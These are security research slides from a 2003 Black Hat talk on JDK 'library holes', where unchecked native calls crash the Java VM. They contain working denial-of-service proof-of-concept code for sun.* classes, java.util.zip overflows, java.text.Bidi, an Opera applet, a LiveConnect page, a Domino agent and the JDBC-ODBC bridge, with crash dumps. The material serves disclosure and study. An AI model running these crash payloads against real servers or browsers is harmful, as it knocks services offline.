Hunting Flaws in JDK

by

Marc Schönefeld

Marc@illegalaccess.org

Blackhat Europe, May 2003, Amsterdam, NL
Agenda

- Motivation and Introduction
- Security Anti-Patterns
- Architecture of the JRE
- Calling the Natives
- Detecting vulnerable entry points
- Crash it on multiple platforms and JREs
- Newly found vulnerabilities
Introduction
Motivation

- Work on Ph.D. thesis concerning Security Anti-Patterns
- Previous work on Bytecode Engineering has been presented at previous Blackhat conferences
- One important security anti-pattern is inadequate guarding of system layer functions against invalid values
Security

Anti-Pattern
Security Anti-Patterns

- A Pattern is a commonly used solution to a common problem.
- An Anti-Pattern is a commonly used poor solution to a common problem.
- Security Anti-Patterns are commonly used poor solutions to common security problems.
The core problem

- Java claims to be platform-independent
  - Runs on multiple OS (W32, AIX, S/390, Linux, OS/2)
- But needs access to
  - Sockets and higher Communication (org.omg.*)
  - Files (java.io.*)
  - Databases (java.sql.*)
  - Compression & Archiving (java.util.zip.*)
  - Native UI-functions (java.awt.*)
  - Other OS-functions (Signals, Threads)
- There is functionality exposed to the user level via public undocumented internal classes (sun.*)
JVM
Architecture
Base Java Architecture

http://java.sun.com/j2se/1.4.1/index.html
Java bindings to the host OS

- The virtual machine does not handle these issues in the java layer, it uses native functions.
- The bindings to the underlying operating system are wrapped in an OS-abstraction layer, which consists of:
  - java classes (rt.jar) and
  - native code (jre/bin/* .dll)
- Can be analysed with depends.exe
Java bindings to the host OS

Dependency Walker from the Windows Platform SDK

By M. Schönefeld, 2003
Java native interface (I)

- Provides public API to Java runtime environment
- Connects Java code to native code through the JVM
- Allows native code to access the JVM
The JNI is for programmers who must take advantage of platform-specific functionality outside of the Java Virtual Machine. Because of this, it is recommended that only experienced programmers should attempt to write native methods or use the Invocation API!

http://java.sun.com/docs/books/tutorial/native1.1/
OS abstraction layer

- Set of java class files
  - java.* and a lot of sun.* (located in rt.jar)
- Set of dynamic libraries (jre/bin/*.dll / *.so)
- Are coupled via JNI, which has the following shortcomings:
  - No sandbox
  - Everything is visible
  - Error-prone handling of Pointers, character buffers and memory allocation
Vulnerabilities in OS-abstraction layer

- Public Classes in rt.jar can be called from user code
- Native Classes in rt.jar directly pass data to native code
- Classes in rt.jar do not always check parameters correctly
- Which in combination is a risk
Call and exploit native functionality
The “sun.*” –classes

- **What the Disclaimer tells:**
  - The sun.* packages are not part of the supported, public interface.
  - A Java program that directly calls into sun.* packages is not guaranteed to work on all Java-compatible platforms. In fact, such a program is not guaranteed to work even in future versions on the same platform. […] 
  - Technically, nothing prevents your program from calling into sun.* by name. From one release to another, these classes may be removed, or […] moved […] and it’s fairly likely that their interface (method names and signatures) will change. […] In this case, even if you are willing to run only on the Sun implementation, you run the risk of a new version of the implementation breaking your program.
The “sun.*” –classes

- *What the Disclaimer does not tell:*
  - There is no guarantee that the sun.* are protected against invalid parameters, so you can not be sure if they throw an exception and give back control, or if they crash the JVM.
  - The JVM startup parameter to strictly check JNI calls –`Xcheck:jni` – does not prevent the JVM from crashing, and on some native calls it has no effect.
  - Programs using the reflection API can crash if they create dynamic objects (sun.*) via reflection (but `java.lang.reflect.*` is 100% java).
Parameter flow in the JRE

Exploit.java

MessageUtils.java

public static native void
toStderr(String s);

_Java_sun_msc_MessageUtils_toS
tderr@12

Java.dll

Jvm.dll

... crash in Native code ...

...
import sun.misc.MessageUtils.*;
public class StdErrCrash {
    public static void main (String args []) {      
        sun.misc.MessageUtils.toStderr(null);
    }
}
DoS-Exploitation (I)

- Passing incorrect values from user code
  - like null pointers
  - can provoke access violations in native code
- is a means to crash the JVM
  - In browsers (via applets, via javascript/liveconnect)
  - In java web start (via malicious/vuln applications)
  - In JSP/Servlet engines or J2EE application servers, (via malicious/vuln jsp/servlet/ejb)
DoS-Exploitation (II)

- Attacker has access to area where JSP-sources are stored,
  - he can construct malicious JSP and call it from outside
- Attacker knows the (open) source code or has class files
  - Read the Source (or ask the jad before)
  - analyses paths from user input to native invocations
DoS-Exploitation (III)

1. Bad Guy
   - crash.jsp
   - /var/tomcat4/webapps/

3. Tomcat

File-System
Detecting vulnerable library holes
Library Holes

- **Functions** in the OS abstraction layer, that do not check parameters and pass these directly to native code

- **Are best exploitable for DoS if they**
  - are reachable (in-)directly from user code (public access)
  - have an object type in their signature
  - are static (easier to call)
Finding direct Library Holes with the Nativefinder

Find classes in a given jar (like rt.jar) that have native methods and constructors

- Test methods if native, better if public and even better if static
- Test methods’ signature if they contain objecttype or array (like java.lang.String or byte[])
- For every method found in a) and b) test call with object type set to null value or large buffer value
Algorithm: Detecting candidates for library Holes

for c = all classes in rt.jar
  for m= all methods and constructors in c
    if m has objecttype in signature
      if m is public
        construct parameters corresponding to signature
        if m is static
          call m with null for objecttypes
        else
          create c object
          call m with these parameters
        end if
      else
        check for indirect call of m (read src.zip, JGrep, decompile)
      end if
    end if
  end for
end for
NativeFinder

DEMO
Special Cases

- In some special cases you have to use the decompiler, javap or BCEL-based tools to identify indirect call path from user code to native libraries.
- dependency analysis based methodology to extract calling paths from the public interfaces to the vulnerable points in a given jar-File (like rt.jar) based on Jgrep (work in progress)
Detecting indirect calls via JGrep

- JGrep analyses rt.jar for calling dependencies
- Checks if particular native method is callable from user code (is public)

<table>
<thead>
<tr>
<th>Method Type</th>
<th>Visibility</th>
</tr>
</thead>
<tbody>
<tr>
<td>Public API method</td>
<td>(public)</td>
</tr>
<tr>
<td>Intermed. method</td>
<td>(private)</td>
</tr>
<tr>
<td>...</td>
<td></td>
</tr>
<tr>
<td>Intermed. method</td>
<td>(private)</td>
</tr>
<tr>
<td>Vulnerable method</td>
<td>(private)</td>
</tr>
</tbody>
</table>
JGrep

DEMO
Automatically check java platform for vulnerabilities

- Writing exploit for every library hole is time-consuming (compile → run → check if vulnerability)
- Idea: write generic method invoker
- Technique: Java Reflection API
ReflectionInvoker

- Reflection API enables the programmer to
  - create objects of given classes on the fly
    - if the classes have a public constructor
  - Execute methods on these objects
  - or execute *static* methods on classes

- Reflection based tool does not explicitly import the sun.* classes,
  - therefore it is not affected by the disclaimer
  - nevertheless crashes the JVM

By M.Schönefeld, 2003
ReflectionInvoker

- Idea: Creating dynamic classes via reflection API
- The Parameter for Class.forName is a normal String, it can be set to "sun.misc.MessageUtils" and invoke the method toStdout with a null pointer.
- Although the executable class file does not contain any reference to sun.* - classes, it crashes

<table>
<thead>
<tr>
<th>Create a generic class object, assign a class</th>
<th>Class EvilFamily = Class.forName(String theNameOfTheClass)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create an object of this class</td>
<td>Object obj = EvilFamily.newInstance()</td>
</tr>
<tr>
<td>Get available methods of the class</td>
<td>Method meths[] = myClass.getMethods();</td>
</tr>
<tr>
<td>Invoke operation on a) the object or b) static on the class(obj = null)</td>
<td>Object ret = meth[i].invoke(obj, methargs);</td>
</tr>
<tr>
<td>Class</td>
<td>Constructor Parameters</td>
</tr>
<tr>
<td>-------</td>
<td>------------------------</td>
</tr>
<tr>
<td>sun.java2d.pipe.SpanClipRenderer</td>
<td>sun.java2d.pipe.CompositePipe::null</td>
</tr>
<tr>
<td>sun.misc.MessageUtils</td>
<td></td>
</tr>
<tr>
<td>sun.misc.MessageUtils</td>
<td></td>
</tr>
<tr>
<td>sun.awt.image.BufImageSurfaceData</td>
<td>java.lang.String::null</td>
</tr>
<tr>
<td>sun.java2d.loops.DrawGlyphListAA</td>
<td>x::L sun.java2d.loops.SurfaceType::null sun.java2d.loops.CompositeType::null sun.java2d.loops.SurfaceType::null</td>
</tr>
<tr>
<td>sun.awt.color.CMM</td>
<td></td>
</tr>
<tr>
<td>sun.awt.color.CMM</td>
<td></td>
</tr>
<tr>
<td>sun.awt.color.CMM</td>
<td></td>
</tr>
<tr>
<td>sun.awt.color.CMM</td>
<td></td>
</tr>
<tr>
<td>sun.awt.windows.WPrinterJob</td>
<td></td>
</tr>
<tr>
<td>sun.dc.pr.PathDasher</td>
<td>sun.dc.path.PathConsumer::null</td>
</tr>
</tbody>
</table>
Reflection Invoker

DEMO
Crash scenarios on multiple Platforms and JREs
Multiplatform JDK exploitation

- Took the pathdasher exploit code to the following platforms
  - Sun JDK 1.4.1 on Windows 2000/XP
  - IBM JDK 1.3.1 on Windows 2000/XP
  - IBM JDK 1.3.1 on AIX 4.3
  - Sun JDK 1.3.1 on Solaris 8
  - Sun JDK 1.3.1 on Linux/x86
  - IBM JDK 1.3.1 on Linux/390
  - IBM JDK 1.3.1 on z/OS-USS (Unix System Services)

```java
import sun.dc.pr.PathDasher;

public class CrashTest
{
    public CrashTest()
    {
        PathDasher pathdasher =
            new PathDasher(null);
    }

    public static void main(String args[])
    {
        CrashTest crashtest =
            new CrashTest();
    }
}
```
Sun JDK 1.4.1 / Win 2K

Unexpected Signal: EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6D3A24AF
Function=[Unknown.]
Library=c:\java\1.4.1\01\jre\bin\client\jvm.dll

NOTE: We are unable to locate the function name symbol for the error just occurred. Please refer to release documentation for possible reason and solutions.

Current Java thread:
   at sun.dc.pr.PathDasher.cInitialize(Native Method)
   at sun.dc.pr.PathDasher.<init>(PathDasher.java:45)
   at CrashTest.<init>(CrashTest.java:8)
   at CrashTest.main(CrashTest.java:13)

Dynamic libraries:
   0x00400000 - 0x00406000  c:\java\1.4.1\01\bin\java.exe
   0x77880000 - 0x77901000  C:\WINNT\System32\ntdll.dll
   0x77DA0000 - 0x77DFC000  C:\WINNT\system32\ADVAPI32.dll
   0x77E70000 - 0x77F32000  C:\WINNT\system32\KERNEL32.DLL
   0x77D30000 - 0x77DA0000  C:\WINNT\system32\RPCRT4.DLL
   0x78000000 - 0x78046000  C:\WINNT\system32\MSVCRT.dll
   0x6D330000 - 0x6D45C000  c:\java\1.4.1\01\jre\bin\client\jvm.dll
   0x77E00000 - 0x77E64000  C:\WINNT\system32\USER32.dll
   0x77F40000 - 0x77F7C000  C:\WINNT\system32\GDI32.DLL
   0x77540000 - 0x77571000  C:\WINNT\System32\WINMM.dll
   0x6D1D0000 - 0x6D1D7000  c:\java\1.4.1\01\jre\bin\dcpr.dll
   0x6D300000 - 0x6D30D000  c:\java\1.4.1\01\jre\bin\verify.dll
   0x6D320000 - 0x6D32D000  c:\java\1.4.1\01\jre\bin\java.dll
   0x6D330000 - 0x6D33D000  c:\java\1.4.1\01\jre\bin\zip.dll
   0x6D340000 - 0x6D352000  C:\WINNT\system32\imagehlp.dll
   0x77910000 - 0x77933000  C:\WINNT\system32\PSAPI.DLL
   0x68F300000 - 0x68F3B000  C:\WINNT\System32\DBGHELP.dll

Local Time = Tue Dec 03 14:49:15 2002
Elapsed Time = 1

# HotSpot Virtual Machine Error : EXCEPTION_ACCESS_VIOLATION
# Error ID : 4F530E43505002E6
# Please report this error at
# http://java.sun.com/cgi-bin/bugreport.cgi
# Java VM: Java HotSpot(TM) Client VM (1.4.1-b21 mixed mode)
IBM JDK 1.3.1 on W2K/XP

---

By M. Schnefeld, 2003

---

NULL

0SECTION TITLE subcomponent dump routine
NULL

1TISIGINFO signal 11 received
1TIDATETIME Date: 2003/02/02 at 00:59:10
1TIFILENAME Javadoc filename: D:\entw\java\blackhat\bytecode\javacore.2003
NULL

0SECTION XHPI subcomponent dump routine
NULL

1XHNOTIMPL XHPI dump routine not implemented.
NULL

0SECTION CI subcomponent dump routine
NULL

1CIJAVAVERSION J2RE 1.3.1 IBM Windows 32 build cn131-20021107
1CIRUNNINGAS Running as a standalone JVM

---

---
Sun Feb  2 01:44:33 2003
SIGSEGV received at 0xd399baa8 in /usr/java131/jre/bin/classic/libjvm.a. Process ing terminated.
Current Thread Details
------------------------
    "main" sys_thread_t:0x3020EE48
       ----- Native Stack -----
       unavailable - iar 0x3023EF68 not in text area
------------------------
Operating Environment
---------------------
Host                    : zivunix.uni-muenster.de:128.176.4.4
OS Level                : AIX 5.1.0.0
Processors -
    Architecture    : POWER_PC (impl: POWER_630, ver: PV_630)
    How Many        : 4
    Enabled         : 4
User Limits (in bytes except for NOFILE and NPROC) -
    RLIMITFSIZE     : 1073741312
    RLIMITDATA      : 2147483645
    RLIMITSTACK     : 33554432
Unexpected Signal : 11 occurred at PC=0xfe59447c
Function name=JVM_FindPrimitiveClass
Library=/opt/j2sdk1_3_1_03/jre/lib/sparc/client/libjvm.so

Current Java thread:
at sun.dc.pr.PathDasher.cInitialize(Native Method)
at sun.dc.pr.PathDasher.<init>(PathDasher.java:43)
at CrashTest.<init>(CrashTest.java:8)
at CrashTest.main(CrashTest.java:13)

Dynamic libraries:
0x10000 /opt/j2sdk1_3_1_03/bin/../bin/sparc/native_threads/java
0xff350000 /usr/lib/libthread.so.1
0xff390000 /usr/lib/libd1.so.1
0xff200000 /usr/lib/libc.so.1
0xff330000 /usr/platform/SUNW,Ultra-60/lib/libc_psr.so.1
0xfe480000 /opt/j2sdk1_3_1_03/jre/lib/sparc/client/libjvm.so
0xff2e0000 /usr/lib/libCrun.so.1
[...]
0xff0b0000 /usr/lib/libmp.so.2
0xff080000 /opt/j2sdk1_3_1_03/jre/lib/sparc/native_threads/libhpi.so
0xff050000 /opt/j2sdk1_3_1_03/jre/lib/sparc/libverIfy.so
0xfe440000 /opt/j2sdk1_3_1_03/jre/lib/sparc/libjava.so
0xff020000 /opt/j2sdk1_3_1_03/jre/lib/sparc/libzip.so
0xffaf0000 /opt/j2sdk1_3_1_03/jre/lib/sparc/libdcpr.so

Local Time = Tue Dec  3 16:23:21 2002
Elapsed Time = 0
#
# HotSpot Virtual Machine Error : 11
# Error ID : 4F530E43505002BD 01
# Please report this error at
# http://java.sun.com/cgi-bin/bugreport.cgi
#
# Java VM: Java HotSpot(TM) Client VM (1.3.1_03-b03 mixed mode)
Sun JDK 1.3.1 on Linux/x86

Unexpected Signal : 11 occurred at PC=0x4013dc38
Function name=(N/A)
Library=/usr/java/jdk1.3.1_04/jre/lib/i386/client/libjvm.so

NOTE: We are unable to locate the function name symbol for the error just occurred. Please refer to release documentation for possible reason and solutions.

Current Java thread:
at sun.dc.pr.PathDasher.cInitialize(Native Method)
at sun.dc.pr.PathDasher.<init>(PathDasher.java:43)
at CrashTest.<init>(CrashTest.java:8)
at CrashTest.main(CrashTest.java:13)

dynamic libraries:
08048000-0804c000 r-xp 00000000 08:11 654573 /usr/java/jdk1.3.1_04/bin/i386/native_th
0804c000-0804d000 rw-p 00003000 08:11 654573 /usr/java/jdk1.3.1_04/bin/i386/native_th
40000000-40016000 r-xp 00000000 08:05 61682 /lib/ld-2.2.4.so
40016000-40017000 rw-p 00015000 08:05 61682 /lib/ld-2.2.4.so
40018000-40029000 r-xp 00000000 08:11 2060684 /usr/java/jdk1.3.1_04/jre/lib/i386/libve
40029000-4002b000 rw-p 00010000 08:11 2060684 /usr/java/jdk1.3.1_04/jre/lib/i386/libve
4002b000-40038000 r-xp 00000000 08:05 74022 /lib/i686/libpthread-0.9.so
40038000-40040000 rw-p 0000c000 08:05 74022 /lib/i686/libpthread-0.9.so
40040000-40049000 r-xp 00000000 08:11 1112370 /usr/java/jdk1.3.1_04/jre/lib/i386/nativ
[...]
4ada2000-4adb6000 rw-p 0001b000 08:11 2060671 /usr/java/jdk1.3.1_04/jre/lib/i386/libdc

Local Time = Tue Dec  3 17:07:05 2002
Elapsed Time = 0

# HotSpot Virtual Machine Error : 11
# Error ID : 4F530E43505002BD
# Please report this error at
# http://java.sun.com/cgi-bin
IBM JDK 1.3.1 on Linux/390

User@HOST:~ > uname -a
Linux HOST 2.4.17 #1 SMP Wed Jul 31 11:30:37 CEST 2002 s390 unknown
User@HOST :~ > /opt/IBMJava2-s390-131/jre/bin/java CrashTest
Segmentation fault
User@HOST :
IBM JDK 1.3.1 on z/OS
Unix System Services

SIGSEGV received at acb7ca66 in (unknown Module).

Time is Tue Dec  3 15:12:12 2002
Java J2RE 1.3.1 IBM OS/390 Persistent Reusable VM build hm131s-20020723 : z/OS V01 R03.00

Host :xxxx.xxxx.de:10.64.73.99
OS Level : z/OS V01 R03.00 Machine xxxx Node ETET

User Limits Current Maximum
-------------------------------------------  RLIMIT_FSIZE         2147483647       2147483647   RLIMIT_DATA         ...          4194304 RLIMIT_NOFILE              65535            65535     RLIMIT_AS         2147483647       2147483647

Signal Handlers
------------------------
SIGHUP      : /usr/lpp/java/IBM/J1.3/bin//libhpi.so
SIGINT      : /usr/lpp/java/IBM/J1.3/bin//libhpi.so
SIGABRT     : ... handler
SIGSTOP     : Default handler
SIGFPE      : /usr/lpp/java/IBM/J1.3/bin//libhpi.so
SIGKILL     : Default handler
SIGURG      : Default handler
SIGSTOP     : Default handler
SIGFPE      : /usr/lpp/java/IBM/J1.3/bin//libhpi.so
SIGKILL     : Default handler

CEE3DMP V1 R3.0: Java J2RE 1.3.1 IBM OS/390 Persistent Reuse 02020723 : z/OS V 12/03/02 3:11:58 PMPage: 1
CEE3DMP called by program unit /u/sovbld/hm131s/hm13120020723/src/hpi/pfm/threads_utils.c (entry point Thr_1662 (offset +000006AA).

Registers on Entry to CEE3DMP:
PM....... 0100
GPR0..... 2C25F3F8  GPR1..... 2C02AD00  GPR2.......
1398  *PATHNAM  h020723  Call 2C224008  /u/sovbld/am131s/am131s-20020713/src/dc318DA560  +000004DC
Java_sun_dc_pr_PathDasher_cInitialize
581 *PATHNAM a020713 Call 2C223F30 sun/dc/pr/PathDasher.java 3155BA44 +000000E4
sun/dc/pr/PathDasher.cInitialize(Lsun/dc/path/PathCon...

CEEEDUMP
Multiplatform JDK exploits

Conclusion

- Write DoS exploit once, crash anywhere
- No quality difference between
  - Versions (1.3.1 <-> 1.4.1)
  - Vendors (Sun <-> IBM)
  - Platforms (W32, Linux, 390, AIX, Solaris)
Library hole impact in sun.* -classes on Tomcat JSP

- If Jakarta tomcat is run without \texttt{-security} option library holes will crash the underlying JVM
- Solution: Start tomcat with \texttt{-security}, but also valid calls to sun.* will be blocked
INFO: Creating MBeanServer
INFO: Initializing Coyote HTTP/1.1 on port 8080
Starting service Tomcat-Standalone
Apache Tomcat/4.1.18
INFO: Starting Coyote HTTP/1.1 on port 8080
01.02.2003 15:40:17 org.apache.jk.common.ChannelSocket init
INFO: JK2: ajp13 listening on /0.0.0.0:8009
01.02.2003 15:40:17 org.apache.jk.server.JkMain start
INFO: Jk running ID=0 time=0/63  config=H:\programme\jakarta-tomcat-4.1.18\bin\.\conf\jk2.properties

Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6D3A662B
Function=[Unknown.]
Library=c:\java\1.4.1\01\jre\bin\client\jvm.dll

NOTE: We are unable to locate the function name symbol for the error just occurred. Please refer to release documentation for possible reason and solutions.

Current Java thread:
    at sun.misc.MessageUtils.toStdout(Native Method)
By M.Schönefeld, 2003
Library holes in Tomcat With –security flag!

- You get an 500
- But the server is still running!
New vulnerabilities
Newly found vulnerabilities

- `Java.util.zip.*` integer overflows (1.4.1_01)
- Overflow bug (1.4.1_02)
- Opera PluginContext (7.01)
- Netscape/Mozilla liveconnect crash
- Java classes for Quicktime
- Notes/Domino 6.01 freezes using Java
Vulnerability Pattern in java.util.zip.*

```java
public class AdlerCrash {
    public static void main(String[] args) {
        (new java.util.zip.Adler32()).update(new byte[0], Integer.MAX_VALUE-3, 4);
    }
}
```

D:\entw\java\reflectioncrash>java -Xcheck:jni -server AdlerCrash

An unexpected exception has been detected in native code outside the VM.
Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6D322041
Function=Java java util zip ZipEntry initFields+0x225
Library=C:\Programme\Java\j2re1.4.1_01\bin\zip.dll

Current Java thread:
at java.util.zip.Adler32.updateBytes (Native Method)
at java.util.zip.Adler32.update (Adler32.java:57)
at AdlerCrash.main (AdlerCrash.java:3)
The cause: Overflow-scenario

- The source of all evil is a missing range check

```java
public class Adler32 {
    ...

    public void update(byte[] b, int offset, int lenni) {
        if (b == null) { throw new NullPointerException(); }
        if (offset < 0 || lenni < 0 || offset + lenni > b.length) {
            throw new ArrayIndexOutOfBoundsException();
        }
        adler = updateBytes(adler, b, off, len);
    }

    ...

    private native static int update(int adler, int b);
    private native static int updateBytes(int adler, byte[] b, int off, int len);
}
```

- Integer.MAX_VALUE-3
- 0
Once is no custom!

- These java.util.zip.* methods are buggy (reported to Sun on 03/02/03) in every jdk before 1.4.1_02:
  - Adler32().update(...);
  - Deflater().setDictionary(...);
  - CRC32().update(...);
  - Deflater().deflate(...);
  - CheckedOutputStream().write(...);
  - CheckedInputStream().read(...);
  - ...

- All these calls crash because of inadequate integer overflow handling

- Unfortunately there is no security manager against library insecurity or -Xcheck:jni that can help you
Read the /w/hole stories

Impact on Notes/Domino

- Notes/Domino 6.0.x uses IBM JDK 1.3.1 as default JVM, which is vulnerable to malicious code containing calls to java.util.zip.* classes

```java
public class JavaAgent extends AgentBase {
    public void NotesMain() {
        try {
            Session session = getSession();
            AgentContext agentContext = session.getAgentContext();
            CRC32 crc32 = new CRC32();
            crc32.update(new byte[0], 4, 0x7ffffffc);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```
Impact on Domino 6.0.1

Notes/Domino 6.0.x uses IBM JDK 1.3.1, and is therefore vulnerable of malicious code containing calls to java.util.zip.* - classes.
Impact on Notes 6.0.1

Notes/Domino 6.0.x uses IBM JDK 1.3.1, which is therefore vulnerable to malicious code containing calls to java.util.zip.* classes.
Library hole in java.* - classes impact on Tomcat

H:\programme\jakarta-tomcat-4.1.18\bin>**catalina.bat run -security**

Using CATALINA_BASE: ..
Using CATALINA_HOME: ..
Using CATALINA_TMPDIR: ..\temp
Using JAVA_HOME: c:\java\1.4.1\01\n
**Using Security Manager**
INFO: Initializing Coyote HTTP/1.1 on port 8080
Starting service Tomcat-Standalone
Apache Tomcat/4.1.18
[...]
INFO: Jk running ID=0 time=0/110 config=H:\programme\jakarta-tomcat-4.1.18\conf\jk2.properties

An unexpected exception has been detected in native code outside the VM.
Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6D321FF1
Function=Java_java_util_zip_ZipEntry_initFields+0x1D5
Library=c:\java\1.4.1\01\jre\bin\zip.dll

Current Java thread:
at java.util.zip.Adler32.updateBytes(Native Method)
at java.util.zip.Adler32.update(Adler32.java:57)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:137)
[...]

Security Manager does not help against inner security threats!
Library holes in Tomcat
Without security flag!

INFO: Creating MBeanServer
INFO: Initializing Coyote HTTP/1.1 on port 8080
Starting service Tomcat-Standalone
Apache Tomcat/4.1.18
INFO: Starting Coyote HTTP/1.1 on port 8080
01.02.2003 15:40:17 org.apache.jk.common.ChannelSocket init
INFO: JK2: ajp13 listening on /0.0.0.0:8009
01.02.2003 15:40:17 org.apache.jk.server.JkMain start
INFO: Jk running ID=0 time=0/63 config=H:\programme\jakarta-tomcat-4.1.18\bin.\conf\jk2.properties

Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6D3A662B
Function=[Unknown.]
Library=c:\java\1.4.1\01\jre\bin\client\jvm.dll

NOTE: We are unable to locate the function name symbol for the error just occurred. Please refer to release documentation for possible reason and solutions.

Current Java thread:
at sun.misc.MessageUtils.toStdout(Native Method)
By M.Schönefeld, 2003
Exploit Dependent Classes

- CheckedInputStream needs a CheckSum, which is vulnerable by using Adler32 or CRC32

```java
class MyByteStream extends java.io.ByteArrayInputStream {
    MyByteStream(byte[] b) throws java.io.FileNotFoundException { super(b); }
    public int read(byte[] b, int off, int len) { return Integer.MAX_VALUE-3; }
}

class CISCrash {
    public static void main(String[] args) {
        try {
            (new java.util.zip.CheckedInputStream(new MyByteStream(new byte[0]),
            new java.util.zip.Adler32())).read(new byte[0], 4, Integer.MAX_VALUE-3);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

By M. Schönefeld, 2003
Vulnerability Pattern in java.text.

```java
public class BidiCrash {
    public BidiCrash() {
        byte buff[] = new byte[3000];
        char cbuff[] = new char[20];
        java.text.Bidi bi2 = new java.text.Bidi(cbuff,10,buff,Integer.MAX_VALUE-3,4,1);
    }
    public static void main(String[] args) {
        BidiCrash bc = new BidiCrash();
    }
}
```

An unexpected exception has been detected in native code outside the VM. Unexpected Signal: EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6D1B045D Library=C:\java\1.4.1\02\bin\fontmanager.dll
public class OperaCrashApplet extends Applet {
    public void paint(Graphics g) {
        java.net.URL k=null;
        g.drawString("Applet alive",0,0);
        System.out.println("applet alive");
        String s="http://127.0.0.1/"+new String(new char[300000])+"/index.html";
        try {
            k = new java.net.URL(s);
        }
        catch (Exception e){
        }
        PluginContext os= new PluginContext(1);
        os.showDocument(k,s);
    }
}
public class OperaCrashApplet extends Applet {
    public void paint(Graphics g) {
        java.net.URL k = null;
        g.drawString("Applet alive", 0, 0);    System.out.println("applet alive");
        String s = "http://127.0.0.1/" + new String(new char[300000]) + "index.html";
        try {
            k = new java.net.URL(s);
        } catch (Exception e) {
        }
        PluginContext os = new PluginContext(1);
        os.showDocument(k, s);
    }
}
Netscape/Mozilla LiveConnect

```html
<html>
<body>
<script language="Javascript">
    t = new Packages.sun.plugin.javascript.navig5.JSObject(1,1);
</script>
</body>
</html>
```
Netscape/Mozilla LiveConnect

```html
<html>
<body>
<script language="Javascript">
    t = new Packages.sun.plugin.javascript.navig5.JSObject(1,1);
</script>
</body>
</html>

By M. Schönefeld, 2003
<html>
<body>
<script language="Javascript">
    t = new Packages.sun.plugin.javascript.navig5.JSObject(1,1);
</script>
</body></html>

Read the whole story at
http://bugzilla.mozilla.org/show_bug.cgi?id=199694

By M.Schönefeld, 2003
Domino crash

DEMO
Specialized calling classes

- To exploit the vulnerabilities in jdbcodbc (JDK 1.4)
  - Extend sun.jdbc.odbc.JdbcOdbcDriver, which holds vulnerable Jdbcodbc object in private field OdbcApi
  - Add function which returns OdbcApi object
  - Invoke vulnerable operation on exposed object
**Jdbcodbc - Exploit**

- **Problem:**
  - sun.jdbc.odbc.JdbcOdbcDriver contains native library holes, but it is not public

- **Exploit:**
  - The jdbc-2-odbc bridging functionality, needs the sun.jdbc.* classes
  - A “pointer” to an object of the hidden class sun.jdbc.odbc.JdbcOdbc can be exported via subclassing sun.jdbc.odbc.JdbcOdbcDriver
Jdbcodbc - Exploit

```java
class org_illegalaccess_Odbc extends sun.jdbc.odbc.JdbcOdbcDriver {
    org_Illegalaccess_Odbc() { super(); }
    public sun.jdbc.odbc.JdbcOdbc exportDriver() { return OdbcApi; }
}
public class JDBCODBCTest {
    public static void main(String[] args) {
        try {
            java.sql.DriverManager.ownodbc = new org_illegalaccess_Odbc();
            java.sql.Connection con = java.sql.DriverManager.
            getConnection("jdbc:odbc:", "itchy", "scratchy");
        } catch (Throwable e) {;}; // ignore the exception
        // ignore the exception, we just want to have the
        // odbcapi object
        try {
            ownodbc.exportDriver().SQLBindColBinary(-1, 1,
            new Object[]{null}, new int[0], 0, new byte[0], new long[0]);
        } catch (Throwable e) {e.printStackTrace();};
    }
}
```

An unexpected exception has been detected in native code outside the VM. 
Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=0x1F7B8E2E 
Function=SQLBindCol+0x2E 
Library=C:\WINDOWS\system32\ODBC32.dll 
Current Java thread: 
at sun.jdbc.odbc.JdbcOdbc.bindColBinary(Native Method) 
at sun.jdbc.odbc.JdbcOdbc.SQLBindColBinary(JdbcOdbc.java:238) 
at JDBCODBCTest.main(JDBCODBCTest.java:29)

Dynamic libraries: 
0x00400000 - 0x00406000 C:\WINDOWS\system32\java.exe
Further Reading

- LSD’s Speech at Blackhat Asia 2002
  www.lsd-pl.net/java_security.html
- My speech at Blackhat USA 2002
  www.illegalaccess.org
- Suns Bug Database at
  developer.java.sun.com/developer/
  bugParade/bugs
- The JDK sources, at
  $JDK_HOME/src.zip
Tools Used

- NativeFinder, DumpClass, ReflectionInvoker
- JAD (part of cavaj)
  - http://www.bysoft.se/sureshot/cavaj/
- BCEL
- Depends
  - http://www.microsoft.com
finally{}

Q&A
Marc Schönefeld
schonef@acm.org
finally{}

Thank you!!